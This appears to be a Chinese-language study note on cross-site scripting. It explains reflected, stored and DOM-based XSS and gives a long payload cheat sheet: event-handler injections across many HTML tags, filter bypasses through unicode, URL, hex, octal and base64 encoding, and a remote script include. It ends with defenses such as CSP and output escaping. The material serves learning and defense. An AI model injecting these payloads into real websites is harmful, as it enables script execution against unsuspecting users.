跨站脚本攻击
##### 反射型
* 通过输入将脚本嵌入到页面中造成弹窗;一次性的
##### 存储型
* 原理同反射型;但是输入的内容会保存到数据库中;每次访问都会加载;持续性的
##### DOM型(DOM是一种html文本存储结构,方便对html节点进行处理,前端)
*
###### 组成
* 元素节点:标签
<!-- -->
* 文本节点:标签输出的内容
<!-- -->
* 属性节点:标签样式设置
<!-- -->
*
###### 前端存储的js脚本利用DOM结构来管理页面元素、内容和属性(本地处理)
<!-- -->
*
###### 页面展示无需后端数据
<!-- -->
*
###### DOM中可能存在xss的属性(从url中获取信息导致)
* document.referer属性
<!-- -->
* location属性
<!-- -->
* [window.name](http://window.name/ "window.name")属性
<!-- -->
* innerHTML属性
<!-- -->
* document.write属性
弹窗方式
- alert(I);
- 警告框;阻塞函数;只有一个确认按钮;
- confirm()
- 指定消息内容的弹窗;有确认和取消按钮;可以接收返回值
-
prompt()
- 带有提示内容和输入框的弹窗;含有确认和取消按钮
- 确认时返回用户输入的内容;取消时返回null
编码方式
- url编码:
- html实体编码
- js编码(unicode编码)
xss注入方法(重点掌握其中的方法和书写格式)
##### 图片
*
###### onerror (图片加载错误时触发)
* \<img src="x" οnerrοr=alert(1)\>
<!-- -->
* \<img src='1' οnerrοr=eval("alert('xss')")\>
<!-- -->
*
###### 字符拼接(利用eval)
* \<img src="x" οnerrοr="a=aler;b=t;c='(xss);';eval(a+b+c)"\>
<!-- -->
*
###### 字符拼接(利用top)
* \<script\>top\["al"+"ert"\](\`\`xss\`\`);\</script\>(只有两个\`\`这里是为了凸显出有\`符号)
<!-- -->
*
###### 编码绕过(了解方法和书写格式)
*
###### 编码unicode绕过
* \<img src="x" οnerrοr="alert("xss");"\>
<!-- -->
* \<img src="x" οnerrοr="eval('\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0022\\u0078\\u0073\\u0073\\u0022\\u0029\\u003b')"\>
<!-- -->
*
###### url编码绕过
* \<img src="x" οnerrοr="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"\>
<!-- -->
* \<img src="x" οnerrοr=document.location=\`\`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/\`\`\>
<!-- -->
*
###### ascii编码
* \<img src="x" οnerrοr="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"\>
<!-- -->
*
###### hex编码
* \<img src=x οnerrοr=eval('\\x61\\x6c\\x65\\x72\\x74\\x28\\x27\\x78\\x73\\x73\\x27\\x29')\>
<!-- -->
*
###### 八进制编码
* \<img src=x οnerrοr=alert('\\170\\163\\163')\>
<!-- -->
*
###### base64编码
* \<img src="x" οnerrοr="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"\>
##### 事件触发函数(input标签常用)
* onmouseover
* 鼠标移过到元素时触发
<!-- -->
* onmouseout
* 鼠标移出元素时触发
<!-- -->
* onclick
* 单击触发
<!-- -->
* onmousedown
* 元素上鼠标按下时触发
<!-- -->
* onmouseup
* 鼠标抬起时触发
<!-- -->
* oncontextmenu
* 在元素上按下鼠标右键时触发
<!-- -->
* onfocus
* 获取焦点时触发(选中触发)
<!-- -->
* \<input οnfοcus="alert('xss');"\>
<!-- -->
* 自动将焦点锁定到元素身上 autofocus
* \<input οnfοcus="alert('xss');" autofocus\>
<!-- -->
* onblur
* 失去焦点时触发
<!-- -->
* \<input οnblur="alert('xss');"\>
<!-- -->
* 竞争焦点,从而触发
* \<input οnblur=alert("xss") autofocus\>\<input autofocus\>
<!-- -->
* onfocusin
* 即将获取焦点时触发
<!-- -->
* \<input οnfοcusin="alert('xss');"\>
<!-- -->
* onfocusout
* 即将失去焦点时触发
<!-- -->
* \<input οnfοcusοut="alert('xss');"\>
<!-- -->
* onkeydown
* 键盘按下按键时触发
<!-- -->
* \<input type="text" οnkeydοwn="alert(1)"\>
<!-- -->
* onkeypress
* 键盘按下时触发
<!-- -->
* onkeyup
* 键盘按键抬起时触发
<!-- -->
* onload
* 页面加载时触发;用在某些引入外部资源的标签中
<!-- -->
*
##### a标签
* \<a href="跳转目的地的链接"\>内容\</a\>
<!-- -->
* \<a href=javascript:alert('xss')\>test\</a\>
<!-- -->
* \<a href="javascript:a" οnmοuseοver="alert(/xss/)"\>aa\</a\>
<!-- -->
* \<a href="" οnclick=alert('xss')\>a\</a\>
<!-- -->
* \<a href="" οnclick=eval(alert('xss'))\>aa\</a\>
<!-- -->
* \<a href="" οnfοcus=alert('xss')\>a\</a\>
<!-- -->
* \<a href=kycg.asp?ttt=1000 οnmοuseοver=prompt('xss') y=2016\>aa\</a\>
##### from标签
* 创建一个表单
<!-- -->
* \<form action=javascript:alert('xss') method="get"\>
<!-- -->
* \<form action=javascript:alert('xss')\>
<!-- -->
* \<form method=post action=aa.asp? οnmοuseοver=prompt('xss')\>
<!-- -->
* \<form method=post action=aa.asp? οnmοuseοver=alert('xss')\>
<!-- -->
* \<form action=1 οnmοuseοver=alert('xss)\>
<!-- -->
* \<form method=post action="data:text/html;base64,\<script\>alert('xss')\</script\>"\>
<!-- -->
* \<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="\>
##### \<iframe\>标签
* 创建一个内联框架显示引入的外部网站的信息;引入网站内容会嵌入当前页面
<!-- -->
* \<iframe οnlοad=alert("xss");\>\</iframe\>
<!-- -->
* \<iframe src=javascript:alert('xss')\>\</iframe\>
<!-- -->
* \<iframe src="data:text/html,\<script\>alert('xss')\</script\>"\>\</iframe\>
<!-- -->
* \<iframe src="data:text/html;base64,\<script\>alert('xss')\</script\>"\>
<!-- -->
* \<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="\>
<!-- -->
* \<iframe src="aaa" οnmοuseοver=alert('xss') /\>\<iframe\>
<!-- -->
* \<iframe src="javascript\:prompt\(\`\`xss\`\`\)"\>\</iframe\>(\`\`\`\`只有两个\`\`)
##### svg标签
* 矢量图形标签
<!-- -->
* \<svg οnlοad=alert(1)\>
<!-- -->
* 括号被过滤时可用throw
* \<svg/οnlοad="window.οnerrοr=eval;throw'=alert\\x281\\x29';"\>
##### body
* 主标签;
<!-- -->
* \<body οnlοad="alert(1)"\>
<!-- -->
* 利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
* \<body οnscrοll=alert("xss");\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<br\>\<input autofocus\>
##### button
* \<button οnclick="alert(1)"\>text\</button\>
##### p标签
* \<p οnmοusedοwn="alert(1)"\>text\</p\>
<!-- -->
* \<p οnmοuseup="alert(1)"\>text\</p\>
##### details标签
* 规定一些用户需求的细节;open属性规定是否可见
<!-- -->
* 详解:[HTML \<details\> 标签 \| 菜鸟教程 (runoob.com)](https://www.runoob.com/tags/tag-details.html "HTML <details> 标签 | 菜鸟教程 (runoob.com)")
<!-- -->
* ontoggle:details标签打开或关闭时触发
<!-- -->
* \<details οntοggle="alert('xss');"\>
<!-- -->
* 使用open属性触发,不需手动
* \<details open οntοggle="alert('xss');"\>
##### select
* 创建下拉列表选项
<!-- -->
* \<select οnfοcus=alert(1)\>\</select\>
<!-- -->
* \<select οnfοcus=alert(1) autofocus\>
<!-- -->
* \<option\>属于该标签的下属;设置具体选项内容;可以用\</select\>进行闭合
##### video
* 创建一个视频框用于播放视频;视频文件需引入
<!-- -->
* \<video\>\<source οnerrοr="alert(1)"\>
<!-- -->
* \<video src οnerrοr="javascript:window.οnerrοr=alert;throw 1"\>
##### audio
* 音频标签
<!-- -->
* \<audio src=x οnerrοr=alert("xss");\>
##### textarea
* 区域文本标签;如评论区
<!-- -->
* \<textarea οnfοcus=alert("xss"); autofocus\>
##### keygen
* 表单的密钥对生成器标签;html5新加
<!-- -->
* \<keygen autofocus οnfοcus=alert(1)\> //仅限火狐
##### marquee
* 已废弃;插入文本的容器;
<!-- -->
* \<marquee onstart=alert("xss")\>\</marquee\> //Chrome不行,火狐和IE都可以
##### isindex
* 已废弃;
<!-- -->
* \<isindex type=image src=1 οnerrοr=alert("xss")\>//仅限于IE
##### 利用link远程包含js文件(在无CSP的情况下才可用)
* \<link rel=import href="[http://127.0.0.1/1.js](http://127.0.0.1/1.js "http://127.0.0.1/1.js")"\>
##### expression属性
* \<img style="xss:expression(alert('xss''))"\> // IE7以下
<!-- -->
* \<div style="color:rgb(''�x:expression(alert(1))"\>\</div\> //IE7以下
<!-- -->
* \<style\>#test{x:expression(alert(/XSS/))}\</style\> // IE7以下
##### background属性
* \<table background=javascript:alert(1)\>\</table\> //在Opera 10.5和IE6上有效
a标签(用处很大,所有使用方法如下)
- 访问网站(链接网站)
- <a href="https://www.w3school.com.cn">访问 w3school.com.cn!</a>
- 访问图像(链接图片)
- <a href="https://www.w3school.com.cn"><img border="0" alt="W3School" src="w3logo.png" width="400" height="225"></a>
- 在浏览器新窗口打开链接
- <a href="https://www.w3school.com.cn" target="_blank">访问 w3school.com.cn!</a>
- 链接到电子邮件
- <a href="mailto:someone@example.com">发送电子邮件</a>
- 链接到电话号码
- <a href="tel:+8613888888888">+86 138 8888 8888</a>
- 链接到同一页的另一个部分
- <a href="#section2">转到第二章</a>
- 链接到JS代码(重点)
- <a href="javascript:alert('Hello World!');">执行 JavaScript</a>
防御技巧
##### CSP内容安全策略
* 将合法的域名和资源放到白名单下;禁止非白名单的url跳转和资源加载
<!-- -->
* 详解:[内容安全策略(CSP)详解_(已屏蔽:csp)-CSDN博客](https://blog.csdn.net/qq_37943295/article/details/79978761 "内容安全策略(CSP)详解_(已屏蔽:csp)-CSDN博客")
<!-- -->
* 禁止加载外域代码,防止复杂的攻击逻辑。
<!-- -->
* 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
<!-- -->
* 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
<!-- -->
* 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
##### 前端和后端对输入信息进行严格过滤
* 输入验证+输出编码(代码)
<!-- -->
* waf+数据库安全(硬件)
##### 利用函数对输入信息进行转义(PHP)
* 如利用htmlspecialchars();escape();等函数对输入信息进行转义;
<!-- -->
* 利用substr_replace()函数对敏感字符/字符串进行替换